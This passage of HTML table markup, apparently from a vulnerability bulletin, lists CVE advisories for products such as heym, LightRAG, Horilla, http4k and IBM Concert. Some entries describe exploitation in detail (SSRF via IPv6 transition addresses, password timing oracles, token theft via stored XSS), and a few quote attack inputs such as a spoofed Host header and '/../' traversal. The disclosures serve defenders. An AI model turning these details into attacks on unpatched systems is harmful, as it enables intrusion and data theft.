&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88978&quot; target=&quot;_blank&quot;&gt;CVE-2026-88978&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HAVELSAN Inc.--Liman MYS&lt;/td&gt;
&lt;td&gt;Improper Limitation of a Pathname to a Restricted Directory (&#039;Path Traversal&#039;) vulnerability in HAVELSAN Inc. Liman MYS allows Path Traversal. This issue affects Liman MYS: from 2.3.2 before 2.3.4-1124.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19532&quot; target=&quot;_blank&quot;&gt;CVE-2026-19532&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HAVELSAN Inc.--Liman Render Engine&lt;/td&gt;
&lt;td&gt;Key exchange without entity authentication vulnerability in HAVELSAN Inc. Liman Render Engine allows Adversary in the Middle (AiTM). This issue affects Liman Render Engine: from 1.0 before 1.2-75.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77703&quot; target=&quot;_blank&quot;&gt;CVE-2026-77703&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HAVELSAN Inc.--Liman Render Engine&lt;/td&gt;
&lt;td&gt;Improper certificate validation vulnerability in HAVELSAN Inc. Liman Render Engine allows Adversary in the Middle (AiTM). This issue affects Liman Render Engine: from 1.0 before 1.2-75.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77707&quot; target=&quot;_blank&quot;&gt;CVE-2026-77707&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--HCL Sametime&lt;/td&gt;
&lt;td&gt;HCL Sametime is vulnerable to insufficient input sanitization. The application did not appropriately sanitize user input. When user input is implicitly or explicitly trusted without sufficient sanitization, malicious actors can leverage this vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-32000&quot; target=&quot;_blank&quot;&gt;CVE-2025-32000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;henrygd--beszel&lt;/td&gt;
&lt;td&gt;Beszel before 0.19.0 contains an insecure direct object reference vulnerability in the POST and DELETE /api/beszel/user-alerts handlers that allows any authenticated user to create or delete alerts on systems they cannot access. Attackers can supply arbitrary system IDs in the request body to register alert rules and receive notifications disclosing target system names and metrics.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94382&quot; target=&quot;_blank&quot;&gt;CVE-2026-94382&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ALE&lt;/td&gt;
&lt;td&gt;Multiple vulnerabilities exist in the Analytics and Location Engine (ALE) that may allow for unauthorized access or denial of service. An unauthenticated remote attacker could exploit these vulnerabilities by sending specially crafted input or leveraging improper security configurations. Successful exploitation could result in a denial of service condition or unauthorized access to sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76716&quot; target=&quot;_blank&quot;&gt;CVE-2026-76716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ALE&lt;/td&gt;
&lt;td&gt;A vulnerability exists in the Analytics and Location Engine (ALE) API that may allow for the disclosure of sensitive information. An unauthenticated remote attacker could exploit this vulnerability by providing specially crafted input to a specific API endpoint. Successful exploitation could result in the disclosure of sensitive user information, including password hashes, which could be used to facilitate further attacks.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76717&quot; target=&quot;_blank&quot;&gt;CVE-2026-76717&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;heymrun--heym&lt;/td&gt;
&lt;td&gt;heym before 0.0.109 contains a server-side request forgery vulnerability in the Slack, Discord, and Crawler workflow nodes. These nodes issue HTTP requests to URLs taken from user-created credentials (webhook_url / flaresolverr_url) using an unguarded HTTP client, bypassing the SSRF egress guard that already protects the HTTP, WebSocket, and MCP nodes; the credential API validates only that the URL is non-empty. Any registered user can create a credential pointing at an internal address and execute a workflow, causing the backend to reach loopback, private, link-local, or cloud-metadata endpoints and return the full response body in the node output (non-blind SSRF).&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100858&quot; target=&quot;_blank&quot;&gt;CVE-2026-100858&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;heymrun--heym&lt;/td&gt;
&lt;td&gt;Heym before 0.0.106 contains a credential exfiltration vulnerability in the POST /api/credentials/test endpoint that allows collaborators with shared credential access to exfiltrate the credential owner&#039;s secret. Attackers can override the destination URL in the config parameter to cause the server to send decrypted authentication secrets to attacker-controlled endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100859&quot; target=&quot;_blank&quot;&gt;CVE-2026-100859&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;heymrun--heym&lt;/td&gt;
&lt;td&gt;Heym before 0.0.53 fails to verify Slack request signatures when trigger nodes lack credential IDs or have empty signing secrets. Remote unauthenticated attackers can send forged Slack events to known webhook URLs to trigger workflows with the owner&#039;s credentials.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101049&quot; target=&quot;_blank&quot;&gt;CVE-2026-101049&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;heymrun--heym&lt;/td&gt;
&lt;td&gt;Heym before 0.0.53 fails to verify the X-Telegram-Bot-Api-Secret-Token header on Telegram webhook endpoints when credential_id is absent or secret_token is empty. Remote unauthenticated attackers can post forged Telegram updates to trigger workflows with the owner&#039;s configured credentials and execute actions on attacker-supplied input.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101050&quot; target=&quot;_blank&quot;&gt;CVE-2026-101050&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;heymrun--heym&lt;/td&gt;
&lt;td&gt;heym before 0.0.105 does not act on the result of the credential authorization lookup in the Redis workflow node (backend/app/services/node_execution/nodes/redis_node.py). When _get_accessible_credential returns None - because the credential ID does not exist or the caller is not authorized to use it - the node treats the lookup failure as an empty configuration and falls back to defaults, connecting to localhost:6379 with no password and executing the requested operation there. The same fallback occurs when an accessible credential has an empty config or no redis_host value. An authenticated workflow author who supplies a credential ID they do not own, or one that was deleted, therefore obtains a read/write connection to whatever Redis is listening on the backend&#039;s loopback interface instead of an error. Impact depends on the deployment: the stock docker-compose.yml ships no Redis, in which case the flaw surfaces as a misleading connection error rather than data exposure.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100860&quot; target=&quot;_blank&quot;&gt;CVE-2026-100860&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;heymrun--heym&lt;/td&gt;
&lt;td&gt;heym before 0.0.105 fails to apply egress guards to integration services that use credential-supplied base URLs, allowing authenticated users to bypass SSRF protections. Attackers can configure credentials pointing to loopback, private, or cloud-metadata addresses and read internal service responses returned as workflow node output.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100861&quot; target=&quot;_blank&quot;&gt;CVE-2026-100861&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;heymrun--heym&lt;/td&gt;
&lt;td&gt;Heym versions 0.0.90 and earlier contain two server-side request forgery (SSRF) egress gaps, both remediated in app/services/ssrf_guard.py in 0.0.91. First, the LLM image-edit input loader (_load_image_bytes) fetched caller-controlled HTTP/HTTPS URLs with a bare httpx.get, applying only a scheme check and bypassing the egress-pinning HTTP client; because the workflow DSL supports &quot;imageInput&quot;: &quot;$userInput.body.imageUrl&quot;, a webhook or API caller can choose the fetch target when a workflow author uses that expression, allowing requests to loopback, RFC1918, and cloud metadata endpoints. Second, _is_public_address unwrapped only IPv4-mapped IPv6 addresses, so IPv6 transition forms - the NAT64 well-known prefix 64:ff9b::/96, deprecated IPv4-compatible ::x.x.x.x addresses, and 6to4 (2002::/16, classified as globally routable by Python 3.11.0 through 3.11.9) - could carry loopback, RFC1918, link-local, or cloud-metadata IPv4 destinations past both the initial URL validation and the dial-time IP pin. Version 0.0.91 routes the image loader through guard_http_url and the guarded client, evaluates NAT64 and IPv4-compatible addresses by their embedded IPv4 address, and refuses 64:ff9b:1::/48, 6to4, and Teredo (2001::/32) outright.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100863&quot; target=&quot;_blank&quot;&gt;CVE-2026-100863&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;heymrun--heym&lt;/td&gt;
&lt;td&gt;heym, a workflow automation platform, stores and returns multiple capability secrets in plaintext in versions prior to 0.0.91. Affected secrets include webhook header-auth values (returned in cleartext by GET /api/workflows/{id} and persisted unsanitized into execution history), MCP API keys (stored as a plaintext column, returned in config/list responses, and accepted via the ?key= query string so they leak into logs, proxies and Referer headers), portal session tokens (stored and validated by plaintext equality with a 168-hour TTL), workflow execution JWTs (stored in full and re-listed by GET .../execution-tokens), Discord interaction tokens (the full interaction body is stored in execution history), and global variables. A user with read access to a workflow, share/team membership, or anyone able to read the database, a backup, or logs can recover these secrets and replay them to execute workflows or act as the secret owner.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100862&quot; target=&quot;_blank&quot;&gt;CVE-2026-100862&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hiroaki-miyashita--Custom Field Template&lt;/td&gt;
&lt;td&gt;The Custom Field Template plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.7.8 via the edit_meta_value due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to delete arbitrary media attachments site-wide by supplying any numeric attachment ID in the file-field parameter alongside the corresponding delete flag, causing content loss and broken pages. Exploitation requires that the attacker&#039;s post is governed by a Custom Field Template containing at least one file-type field with the mediaRemove option not enabled, which is the default configuration for file fields.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12995&quot; target=&quot;_blank&quot;&gt;CVE-2026-12995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HKUDS--LightRAG&lt;/td&gt;
&lt;td&gt;LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, lightrag_webui/src/components/retrieval/ChatMessage.tsx renders answer and thinking content with react-markdown, rehypeRaw, and skipHtml=false without an HTML sanitizer. An attacker who can add a document can store raw HTML that is returned through the query path and rendered as active content by MessageMarkdown. A user who later retrieves the content can execute attacker-controlled JavaScript through elements such as an iframe srcdoc; the additional Mermaid securityLevel: loose rendering path also injects generated SVG through innerHTML. The script runs in the LightRAG WebUI origin and can read the API token in localStorage and perform API actions as the victim. This issue is fixed in version 1.5.5.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86062&quot; target=&quot;_blank&quot;&gt;CVE-2026-86062&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HKUDS--LightRAG&lt;/td&gt;
&lt;td&gt;LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the LightRAG API server returns raw Python exception text from error handlers in document_routes.py, graph_routes.py, query_routes.py, ollama_api.py, and lightrag_server.py. The detail=str(e), detail=str(exc), and equivalent formatted-message paths expose server filesystem paths, database host, port, user, and database names, language-model provider diagnostics, configuration details, and Python library internals to a network client that can trigger an error. The default unauthenticated configuration makes those responses reachable without credentials, and URI-configured backends can disclose connection strings containing credentials depending on the underlying driver error. This issue is fixed in version 1.5.5.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85709&quot; target=&quot;_blank&quot;&gt;CVE-2026-85709&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HKUDS--LightRAG&lt;/td&gt;
&lt;td&gt;LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python&#039;s == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85725&quot; target=&quot;_blank&quot;&gt;CVE-2026-85725&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;home-assistant--core&lt;/td&gt;
&lt;td&gt;Home Assistant is open source home automation software focused on local control and privacy. Prior to 2026.2.3, the IPP integration automatically processed unauthenticated _ipp._tcp.local mDNS announcements in homeassistant/components/ipp/config_flow.py, where async_step_zeroconf passed attacker-controlled host, port, and base_path values to validate_input for printer metadata retrieval. Because the shared HTTP client followed attacker-controlled cross-origin redirects without blocking loopback targets, a local-network attacker could redirect the request to 127.0.0.1 or another internal service without user interaction or prior IPP configuration. This issue is fixed in version 2026.2.3.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91129&quot; target=&quot;_blank&quot;&gt;CVE-2026-91129&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;horilla--horilla-hr&lt;/td&gt;
&lt;td&gt;Horilla is an HR and CRM software. In 1.5.0-85 and earlier, payroll/views/component_views.py does not consistently authorize access in allowances_deductions_tab, view_single_allowance, and view_single_deduction before loading records selected by emp_id, allowance_id, or deduction_id. An authenticated employee can substitute those identifiers to read another employee&#039;s salary structure, allowance and deduction amounts, personal loan disbursements, and repayment schedules without owning the record or holding payroll-view permissions. No complete fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63431&quot; target=&quot;_blank&quot;&gt;CVE-2026-63431&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;horilla--horilla-hr&lt;/td&gt;
&lt;td&gt;Horilla is an HR and CRM software. From 1.0.0 until 1.6.0 and 2.0.0, the get_mail_preview handlers in recruitment/views/actions.py and employee/not_in_out_dashboard.py render a user-controlled body at /recruitment/get-mail-preview/ and /employee/get-employee-mail-preview with the full request object in the Django template context. An authenticated user with a valid CSRF token can use template attribute traversal to read request.user.password, request.META, and related-user attributes, exposing password hashes, personal data, and server request metadata. Django template restrictions prevent arbitrary code execution through this primitive, so the demonstrated impact is information disclosure and possible offline password cracking or account compromise. This issue is fixed in versions 1.6.0 and 2.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63432&quot; target=&quot;_blank&quot;&gt;CVE-2026-63432&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4k--http4k&lt;/td&gt;
&lt;td&gt;http4k (Maven artifact org.http4k:http4k-core) before 6.48.0.0, 5.42.0.0, and 4.51.0.0 ships a BasicCookieStorage (client-side cookie store used by ClientFilters.Cookies) that does not enforce RFC 6265 scoping rules for the cookie domain, path, and Secure attributes. When a single BasicCookieStorage instance is used to talk to more than one origin or scheme, cookies stored for one origin can be sent to other origins, and cookies marked Secure can be sent over plain HTTP, potentially disclosing session cookies or other sensitive values to unauthorized hosts or network observers. Clients that use a storage instance for a single origin are not affected.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100725&quot; target=&quot;_blank&quot;&gt;CVE-2026-100725&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4k--http4k&lt;/td&gt;
&lt;td&gt;http4k (Maven package org.http4k:http4k-core) before 6.49.0.0, 5.42.0.0 and 4.51.0.0 uses substring (Contains) matching on the Host header by default in reverseProxy() and reverseProxyRouting() when dispatching to configured virtual hosts. If these functions are deployed as a public-facing inbound HTTP handler with two or more configured virtual hosts, a remote attacker can supply a Host header that merely contains a configured vhost name (for example Host: admin.evil.com for a vhost configured as &quot;admin&quot;) and be routed to that vhost, bypassing routing-based authorization. The intended outbound-dispatch and test-time uses, where the Host value is set by the calling application, are not affected.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100724&quot; target=&quot;_blank&quot;&gt;CVE-2026-100724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;http4k--http4k&lt;/td&gt;
&lt;td&gt;http4k&#039;s Digest authentication module (org.http4k:http4k-security-digest) before versions 6.48.0.0, 5.42.0.0 and 4.51.0.0 defaults the nonceVerifier parameter of ServerFilters.DigestAuth and DigestAuthProvider to { true }, so every nonce is accepted regardless of its value, age, or prior use. Applications relying on this default have no replay protection on Digest authentication: an attacker who can capture a valid &#039;Authorization: Digest&#039; response (for example by observing network traffic or reading logs) can replay it indefinitely against the same protected resource.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100834&quot; target=&quot;_blank&quot;&gt;CVE-2026-100834&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Huawei--HarmonyOS&lt;/td&gt;
&lt;td&gt;Out-of-bounds read vulnerability in the graphics module.&amp;nbsp;Successful exploitation of this vulnerability may affect availability.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81645&quot; target=&quot;_blank&quot;&gt;CVE-2026-81645&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 could allow a local attacker to obtain sensitive information due to recursive copying of build context directories into container images.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15915&quot; target=&quot;_blank&quot;&gt;CVE-2026-15915&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16426&quot; target=&quot;_blank&quot;&gt;CVE-2026-16426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 could allow a remote authenticated attacker to cause a denial of service due to improper enforcement of storage limits.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17465&quot; target=&quot;_blank&quot;&gt;CVE-2026-17465&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 allows recursive copying of directories without proper controls which can lead to unintentional inclusion of sensitive or unnecessary files and increased attack surface.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6544&quot; target=&quot;_blank&quot;&gt;CVE-2026-6544&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 is vulnerable to improper access control which allows unauthorized modification of application files.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6718&quot; target=&quot;_blank&quot;&gt;CVE-2026-6718&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 could allow a remote attacker to cause a denial of service using a specially crafted regular expression that would cause excessive resource consumption.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-12767&quot; target=&quot;_blank&quot;&gt;CVE-2025-12767&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-36084&quot; target=&quot;_blank&quot;&gt;CVE-2025-36084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3626&quot; target=&quot;_blank&quot;&gt;CVE-2026-3626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing &quot;dot dot &quot; sequences ( /.. /) to view arbitrary files on the system.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6925&quot; target=&quot;_blank&quot;&gt;CVE-2026-6925&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Concert&lt;/td&gt;
&lt;td&gt;IBM Concert 1.0.0 through 3.0.0 could allow an unauthorized user to inject data into log messages due to improper neutralization of special elements when written to log files.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6327&quot; target=&quot;_blank&quot;&gt;CVE-2026-6327&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--ContextForge MCP Gateway&lt;/td&gt;
&lt;td&gt;IBM ContextForge MCP Gateway 1.0.0 through 1.0.8 was vulnerable to path traversal in its Admin API log-download endpoint (`GET /v1/admin/logs/file`). The path confinement check uses `str.startswith()` rather than proper boundary validation, allowing an authenticated admin to read `.log`, `.jsonl`, and `.json` files outside the configured `LOG_FOLDER` by supplying a filename that resolves into a sibling directory whose absolute path shares the log directory&#039;s string prefix.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77825&quot; target=&quot;_blank&quot;&gt;CVE-2026-77825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to read arbitrary files due to improper path canonicalization.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18114&quot; target=&quot;_blank&quot;&gt;CVE-2026-18114&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
